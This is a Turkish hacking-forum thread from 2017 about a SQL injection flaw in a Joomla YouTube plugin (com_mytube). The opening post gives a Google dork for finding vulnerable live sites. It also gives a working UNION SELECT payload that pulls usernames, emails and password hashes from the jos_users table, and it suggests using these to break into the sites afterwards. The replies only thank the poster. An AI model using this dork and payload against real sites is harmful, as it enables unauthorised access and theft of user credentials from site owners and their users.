Geri Git   HACK4SEC.NET | Hacking & Security > >

Web Güvenlik Açıkları Domain, sunucu ve web üzerindeki her türlü güvenlik açıkları ile ilgili bilgi alabileceğiniz bölümdür.


Youtube Joomla Açığı

Domain, sunucu ve web üzerindeki her türlü güvenlik açıkları ile ilgili bilgi alabileceğiniz bölümdür.


Yeni Konu aç  Cevapla  
 
Seçenekler Stil
Alt 11.Ocak.2017, 22:13   #1
N0b0dy
Orgeneral
Nereden : World
Mesajlar : 94
Paylaşım
Güç
Tecrübe


Uzmanlık Alanınız

Standart Youtube Joomla Açığı

Bilen var bilmeyen var youtube eklentisi joomla için bir açığı yaratıyor.

Google dork: inurl:"option=com_mytube"

Bir sürü site var. Çıkan siteye tıklarsanız örnek olarak böyle bir şey çıkar:

[Linki Görebilmeniz Icin Üye Olmaniz Gerekiyor! Üye Olmak Icin Tiklayin...]

Ek olarak bu kodu eklerseniz
&view=videos&type=member&user_id=62+AND+1=2+UNION+ SELECT+0,1,2,3,4,5,6,7,8,9,10,11,concat%280x3a,use rname,0x3a,email,0x3a,activation%29,13,14,15,16,17 ,18,19,20,21,22,23,24,25+from+jos_users+where+id=6 2--

Size nickname, email ve hash verir sonra size kalmış bir şey token yada başka bir şekilde girmektir.

Birkaç site örneği :

[Linki Görebilmeniz Icin Üye Olmaniz Gerekiyor! Üye Olmak Icin Tiklayin...]

[Linki Görebilmeniz Icin Üye Olmaniz Gerekiyor! Üye Olmak Icin Tiklayin...]

[Linki Görebilmeniz Icin Üye Olmaniz Gerekiyor! Üye Olmak Icin Tiklayin...]




Kullanıcı Kişisel İmzası nobody
Alıntı ile Cevapla
Alt 12.Ocak.2017, 04:52   #2
BİGSTAR
Albay
Nereden : HİDDEN
Mesajlar : 345
Paylaşım
Güç
Tecrübe


Uzmanlık Alanınız

Standart

Aynen burdada paylaşılması iyi oldu eline sağlık




Kullanıcı Kişisel İmzası
[Linki Görebilmeniz Icin Üye Olmaniz Gerekiyor! Üye Olmak Icin Tiklayin...]
Alıntı ile Cevapla
Alt 16.Ocak.2017, 12:02   #3
Emrhn78
Teğmen
Nereden : Karabük-Zonguldak
Mesajlar : 32
Paylaşım
Güç
Tecrübe


Uzmanlık Alanınız

Standart

Yararlı bilgi orgeneralim teşekkür ederim



Alıntı ile Cevapla
Cevapla

Etiketler
açığı, joomla, youtube

Seçenekler
Stil



Sitemiz bir " paylaşım " sitesidir. Bu yüzden sitemize kayıt olan herkes kontrol edilmeksizin mesaj/konu/resim paylaşabilmektedir. Bu sebepten ötürü, sitemiz üzerinden paylaşılan mesajlar, konular ve resimlerden doğabilecek olan yasal sorumluluklar paylaşan kullanıcıya aittir. Web sitemiz hiçbir yasal sorumluluk kabul etmemektedir. Illegal herhangi bir faaliyet görülmesi durumunda Yöneticilere adresine mail atıldığı taktirde mesaj, konu ya da resim en fazla 24 saat içerisinde silinecektir.